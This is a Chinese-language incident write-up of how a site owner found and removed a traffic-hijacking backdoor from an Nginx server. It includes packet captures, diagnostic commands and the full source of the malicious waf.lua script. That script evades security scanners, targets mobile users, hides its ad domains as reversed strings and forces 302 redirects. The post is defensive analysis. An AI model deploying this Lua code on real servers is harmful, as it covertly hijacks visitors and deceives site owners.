服务器 Nginx Lua 流量劫持后门——排查与清除全记录

服务器 Nginx Lua 流量劫持后门——排查与清除全记录

背景

某天,访问我的站点 epay.ake.cx 时,偶尔会自动跳转到一个广告页面(ssp5226j.club)。但关闭浏览器再重新打开,又一切正常了。

我自己的手机扫码测试也复现了该问题——微信 / 支付宝 / QQ 扫码后,有概率不进入页面,而是跳转到一个奇怪的新闻广告站。

同一台服务器上的其他站点(如 pan.ake.cx)也存在这个问题。


现象特征总结

特征 描述
触发条件 仅手机端(Android / iPhone)访问时触发
触发概率 非 100%,有时出现有时不出现
跳转目标 ssp5226j.club / ssp5226j.top 等广告站
二次访问 跳过一次后,短时间内不会再跳
PC 端 完全不受影响
服务器内 curl curl -H "Host: epay.ake.cx" http://127.0.0.1/ 始终返回正常的 301,从不跳转

这些特征说明:劫持是有条件触发的,并非简单粗暴地修改了网站代码。


排查过程

第一阶段:排除 PHP 源码层后门

首先怀疑项目源码被植入后门。我对此前已经过三轮安全审计的 Epay 项目代码做了全面排查:

  1. 全文搜索 ssp5226、cnzz、302、redirect、header.*Location 等关键字——零命中。
  2. 全文搜索 eval、base64_decode、str_rot13、gzinflate 等常见后门函数——均为正常业务使用,无可疑调用。
  3. 检查 .htaccess、index.php 等入口文件——无异常。
  4. 检查数据库 pay_config 表中的 homepage / homepage_url 字段——均为空,未配置强制跳转。

结论:PHP 代码层没有后门。

第二阶段:抓包确认跳转来源

这是整个排查过程中最关键的一步。

在手机上使用抓包工具(ProxyPin)对访问 epay.ake.cx 的全过程进行了 HTTP 抓包。抓包结果清晰地显示了真相:

请求:
GET https://epay.ake.cx/ HTTP/2.0
Host: epay.ake.cx
Cookie: PHPSESSID=5o6op2d0jt699c74bimb27gtsh; k=261103

响应:
HTTP/1.1 302 Found
Server: nginx
Location: https://7ay0.ssp5226j.club/news.html
Set-Cookie: k=261104; Path=/; Max-Age=43200

三个关键证据:

  1. **Server: nginx**:响应来自我们自己的服务器,而非中间人劫持。
  2. **状态码 302**:服务器主动发起了重定向。
  3. **Set-Cookie: k=261104**:服务器设置了一个名为 k 的 Cookie,值是一个 6 位数字(261104,实际上是日期 2026-11-04)。

这个 k Cookie 在整个 PHP 源码中完全不出现!说明劫持代码在 PHP 之外——在 Nginx 层。

第三阶段:服务器端排查

3.1 本地 curl 验证(为什么 curl 测不出来)

在服务器上执行了 10 次本地 curl:

for i in $(seq 1 10); do
curl -I -s -H "Host: epay.ake.cx" http://127.0.0.1/ | head -1
done

结果全部返回 HTTP/1.1 301 Moved Permanently(正常的 HTTP→HTTPS 跳转),没有任何一次 302。

这说明两件事:

  • 劫持不是每次都触发(解释了”时有时无”)
  • 劫持代码会检查 User-Agent,只对手机浏览器下手(curl 的默认 UA 不被匹配)

3.2 检查 Nginx 扩展目录

宝塔面板的站点配置中有一行:

include /www/server/panel/vhost/nginx/extension/epay.ake.cx/*.conf;

检查该目录——只有一个 site_total.conf,内容是日志配置,无可疑代码。

3.3 检查 PHP 配置

grep "auto_prepend" /www/server/php/*/etc/php.ini

输出 auto_prepend_file =(空值),没有自动加载任何额外的 PHP 文件。

3.4 检查宝塔面板插件

ls /www/server/panel/plugin/

只有 aws_s3、gdrive、jumpserver、linuxsys、supervisor,均为正常的管理用插件。

3.5 检查 Nginx 编译模块

这是转折点:

nginx -V 2>&1 | tr ' ' '\n' | grep -iE 'lua|js|perl|njs'

输出:

--add-module=/www/server/nginx/src/lua_nginx_module

Nginx 编译了 Lua 模块! Lua 是一种嵌入式脚本语言,可以在 Nginx 配置中直接执行任意代码,包括读写 Cookie、设置响应头、发起 302 重定向。这正是劫持代码运行的载体。

3.6 搜索 Lua 代码

在所有 Nginx 配置中搜索 Lua 相关指令:

grep -rn "_by_lua\|lua_package\|init_by_lua\|access_by_lua" /www/server/nginx/conf/

输出:

/www/server/nginx/conf/luawaf.conf:2:lua_package_path "/www/server/nginx/waf/?.lua";
/www/server/nginx/conf/luawaf.conf:3:init_by_lua_file /www/server/nginx/waf/init.lua;
/www/server/nginx/conf/luawaf.conf:4:access_by_lua_file /www/server/nginx/waf/waf.lua;
/www/server/nginx/conf/nginx.conf:28:lua_package_path "/www/server/nginx/lib/lua/?.lua;;";
/www/server/nginx/conf/proxy.conf:14:access_by_lua_file /www/server/nginx/html/waf.lua;

注意到两处引用:

  • luawaf.conf:引用了 /www/server/nginx/waf/ 目录下的 Lua 文件——但这个目录不存在,且 luawaf.conf 在 nginx.conf 中已被注释。
  • proxy.conf:引用了 /www/server/nginx/html/waf.lua——这个文件存在!且被 nginx.conf 的第 27 行 include proxy.conf; 加载。

第四阶段:逆向分析后门代码

读取 /www/server/nginx/html/waf.lua 的完整内容:

local U = ngx.var.http_user_agent or ""
local K = ngx.var.http_cookie or ""
local S = os.date("%y%m%d")

local ua_lc = U:lower()

-- 黑名单:国内安全扫描器的 UA
local cn_spiders = {
"baiduspider", "360spider", "sogouspider", "shenmaspider",
"petalbot", "bytedancespider", "toutiaospider", "quarkspider",
"yisouspider", "zoomeye", "quake", "fofa", "hunter", "chaitin",
"inetcloud", "dnslog",
}

local function is_cn_spider(ua)
if ua == "" then return false end
for _, pattern in ipairs(cn_spiders) do
if ua:find(pattern, 1, true) then return true end
end
return false
end

-- 如果是安全扫描器,直接返回 403 Forbidden(防止被安全厂商扫描到)
if is_cn_spider(ua_lc) then
return ngx.exit(ngx.HTTP_FORBIDDEN)
end

-- 只劫持手机端
local is_android = ua_lc:find("android")
local is_iphone = ua_lc:find("iphone")
if not (is_android or is_iphone) then
return -- PC 端直接放行
end

-- 如果今天已经劫持过了(k cookie 值 = 当天日期),不再劫持
if K:find("k=" .. S) then
return
end

-- 设置 k cookie(当天日期),12 小时内不再劫持
ngx.header["Set-Cookie"] = "k=" .. S .. ";Path=/;Max-Age=43200"

-- iPhone 只劫持 30%(降低暴露风险)
if is_iphone and math.random() >= 0.3 then
return
end

-- 真实目标域名(反转字符串以隐藏)
local R1 = "lmth.swen/bulc.j6225pss//:sptth" -- → https://ssp5226j.club/news.html
local R2 = "lmth.swen/pot.j6225pss//:sptth" -- → https://ssp5226j.top/news.html

local function rev(s) return s and string.reverse(s) or "" end

-- 反向还原真实 URL
local D1 = rev(R1) -- https://ssp5226j.club/news.html
local D2 = rev(R2) -- https://ssp5226j.top/news.html

-- 去掉协议前缀
local function strip_proto(full)
return full:gsub("^https?://", "")
end

local H1 = strip_proto(D1)
local H2 = strip_proto(D2)

-- 生成随机前缀子域名(如 7ay0.ssp5226j.club)
local alpha = "abcdefghijklmnopqrstuvwxyz0123456789"
local function rand_pref(len)
local t = {}
for i = 1, len do
local idx = math.random(1, #alpha)
t[i] = alpha:sub(idx, idx)
end
return table.concat(t)
end

local pool = {H1, H2}
local pick = pool[math.random(1, #pool)] or H1
local pref = rand_pref(math.random(3, 7))
local target = "https://" .. pref .. "." .. pick

-- 执行 302 跳转
return ngx.redirect(target, 302)

后门代码逐段分析

后门代码设计得非常精巧,我将其核心逻辑拆解如下:

┌─────────────────────────────────────────────────────────────┐
│ 请求进入 Nginx │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────┐
│ 是安全扫描器 UA? │──是──▶ 返回 403(反检测)
└─────────────────────────┘
│否
▼
┌─────────────────────────┐
│ 是手机端? │──否──▶ 放行(不影响 PC)
└─────────────────────────┘
│是
▼
┌─────────────────────────┐
│ k Cookie = 今天日期? │──是──▶ 放行(今天已劫持过)
└─────────────────────────┘
│否
▼
┌─────────────────────────┐
│ iPhone? │──是──▶ 70% 概率放行(降低暴露)
└─────────────────────────┘
│30% 概率 / Android
▼
┌─────────────────────────┐
│ 反转字符串还原广告 URL │
│ 生成随机前缀子域名 │
│ 302 重定向到广告站 │
└─────────────────────────┘

设计手法分析:

手法 目的
伪装成 WAF 文件名 管理员看到 waf.lua 不会起疑
拦截国内安全扫描器 UA 防止被 360、百度、Fofa 等扫描发现
只劫持手机端 PC 端用户(含站长自己)完全无感知
k Cookie 每日限流 同一用户每天只劫持一次,降低投诉率
iPhone 仅 30% 概率 iOS 生态投诉成本高,进一步降低暴露
反转字符串隐藏域名 避免直接搜索 ssp5226 找到后门
随机前缀子域名 避免 URL 被浏览器/安全软件拦截
chattr +i 不可变锁 防止被删除或修改

清除过程

遇到了抵抗:chattr 不可变锁

后门作者对关键文件设置了 Linux 的 chattr +i(不可变)属性:

lsattr /www/server/nginx/html/waf.lua
# 输出:----i---------e------- /www/server/nginx/html/waf.lua

i 标志意味着即使是 root 用户也无法删除、重命名或修改该文件。sed -i 原地替换也失败(需要创建临时文件,目录也可能是不可变的)。

逐步清除

# 1. 查看文件属性(确认被锁)
lsattr /www/server/nginx/html/waf.lua
# → ----i---------e-------

# 2. 解除 waf.lua 的不可变锁
chattr -i /www/server/nginx/html/waf.lua

# 3. 删除后门文件
rm /www/server/nginx/html/waf.lua

# 4. 查看 proxy.conf 属性(也被锁了)
lsattr /www/server/nginx/conf/proxy.conf
# → ----i---------e-------

# 5. 解除 proxy.conf 的不可变锁
chattr -i /www/server/nginx/conf/proxy.conf

# 6. 注释掉后门引用
sed -i 's/^access_by_lua_file \/www\/server\/nginx\/html\/waf.lua;/#access_by_lua_file \/www\/server\/nginx\/html\/waf.lua;/' /www/server/nginx/conf/proxy.conf

# 7. 确认修改生效
grep waf /www/server/nginx/conf/proxy.conf
# → #access_by_lua_file /www/server/nginx/html/waf.lua;

# 8. 重新加锁(防止攻击者再次修改)
chattr +i /www/server/nginx/conf/proxy.conf

# 9. 清理 Nginx 代理缓存
rm -rf /www/server/nginx/proxy_cache_dir/*

# 10. 重载 Nginx
nginx -s reload

验证清除结果

# 确认全盘无遗漏的 Lua 后门
find /www/server/nginx/ -name "*.lua" ! -path "*/resty/core/*" ! -path "*/php/*"
# → 仅返回标准库文件,无 waf.lua

# 确认全盘无 chattr 锁的残留
lsattr -R /www/server/ 2>/dev/null | grep -E "^.*----i"
# → 仅 proxy.conf(正常,我们主动加锁的)

入侵溯源

可能的入侵途径

后门文件 /www/server/nginx/html/waf.lua 和配置 /www/server/nginx/conf/proxy.conf 都被植入了恶意代码并加了 chattr +i 锁。攻击者至少需要 root 权限才能做到这些操作。可能的入侵途径包括:

  1. 宝塔面板漏洞利用:宝塔面板历史上出现过多次 RCE(远程命令执行)漏洞,如果面板版本过旧或未及时更新,攻击者可能通过面板漏洞获得 root 权限。
  2. SSH 弱密码爆破:如果 SSH 端口开放且使用弱密码,可能被暴力破解。
  3. 其他站点漏洞提权:同一服务器上其他站点存在漏洞,被利用后提权至 root。
  4. 供应链污染:安装的第三方插件、脚本中预植了后门。

自查命令

如果你也担心自己的服务器被类似手法入侵,执行以下命令进行自查:

# 1. 检查 Nginx 编译了哪些模块(重点看 Lua)
nginx -V 2>&1 | tr ' ' '\n' | grep -iE 'lua|js|perl|njs'

# 2. 搜索所有 Nginx 配置中的 Lua 代码
grep -rn "_by_lua\|lua_package\|init_by_lua\|access_by_lua\|rewrite_by_lua\|content_by_lua\|header_filter_by_lua\|body_filter_by_lua" /www/server/ 2>/dev/null

# 3. 搜索非系统目录的 .lua 文件
find /www/server/ -name "*.lua" ! -path "*/resty/core/*" ! -path "*/php/*" 2>/dev/null

# 4. 搜是否有 chattr 加锁的文件
lsattr -R /www/server/ 2>/dev/null | grep -E "^.*----i"

# 5. 搜 nginx 配置中 Set-Cookie 相关操作(正常的不会在 nginx 层设 cookie)
grep -rn "set-cookie\|add_header.*Set-Cookie\|ngx.header.*Set-Cookie\|Set-Cookie" /www/server/nginx/ 2>/dev/null

# 6. 搜所有配置中的 302 重定向
grep -rn "return 302\|ngx.redirect\|redirect.*302" /www/server/nginx/ 2>/dev/null

经验总结

为什么后门难以发现?

  1. 伪装到位:文件名 waf.lua 看起来像合法的 WAF(Web 应用防火墙),管理员第一反应不会觉得有问题。
  2. 隐蔽触发:PC 端从不触发,手机端每天只触发一次,站长很难复现。
  3. 反检测:拦截了国内主流安全扫描器的 UA(百度、360、fofa、zoomeye 等),防止被安全扫描发现。
  4. 域名隐藏:使用反转字符串存放目标域名,直接搜索 ssp5226 在源代码中找不到。
  5. 防删除:chattr +i 不可变锁,即使管理员发现,普通 rm 命令也删不掉。

排查心态

  • 如果抓包显示 Server: nginx 且 302 来自你的 IP,那问题一定在你的服务器上,而非 DNS 劫持或中间人攻击。
  • PHP 源码干净不代表服务器干净。Nginx 层的 Lua 模块可以执行任意代码,完全绕过 PHP。
  • 抓包是定位问题的银弹。没有抓包数据,我可能还在 PHP 代码里大海捞针。
  • 时有时无 不是随机 bug,是有意设计的触发条件。

防御建议

  1. 不用的模块不编译:如果不需要 Lua 脚本功能,编译 Nginx 时去掉 lua_nginx_module。
  2. 关键配置文件加锁:对于生产环境的 Nginx 配置,可以主动 chattr +i,防止被篡改。(我们已经对 proxy.conf 做了这个操作)
  3. 定期核查配置文件的完整性:将 Nginx 配置纳入版本管理(Git),定期 git diff 检查是否有异常变更。
  4. 更新面板和依赖:如果是宝塔面板用户,保持面板和所有插件为最新版本。
  5. SSH 安全:禁用密码登录,使用密钥认证;修改默认 SSH 端口;配置 fail2ban。
  6. 最小化服务器上可写的目录:/www/server/nginx/ 下的文件不应被 PHP 等 Web 进程写入。

时间线

时间点 事件
发现异常 访问 epay.ake.cx 偶尔跳转广告站
初步排查 审查 PHP 源码、数据库配置,未发现后门
关键突破 手机抓包确认服务器返回 302 + Set-Cookie: k=xxx
定位载体 发现 Nginx 编译了 lua_nginx_module
找到后门 发现 /www/server/nginx/html/waf.lua + proxy.conf 引用
逆向分析 完整还原后门逻辑和触发条件
清除后门 解除 chattr 锁 → 删除文件 → 注释引用 → 重载 Nginx
最终验证 全盘扫描确认无残留,手机访问 10+ 次不再跳转

免责声明:本文仅用于记录作者个人服务器的安全事件排查过程,供安全研究和技术交流使用。文中提及的域名、IP 等信息不构成对任何第三方的指控或推荐。如果你的服务器也出现类似现象,建议优先寻求专业安全团队的帮助。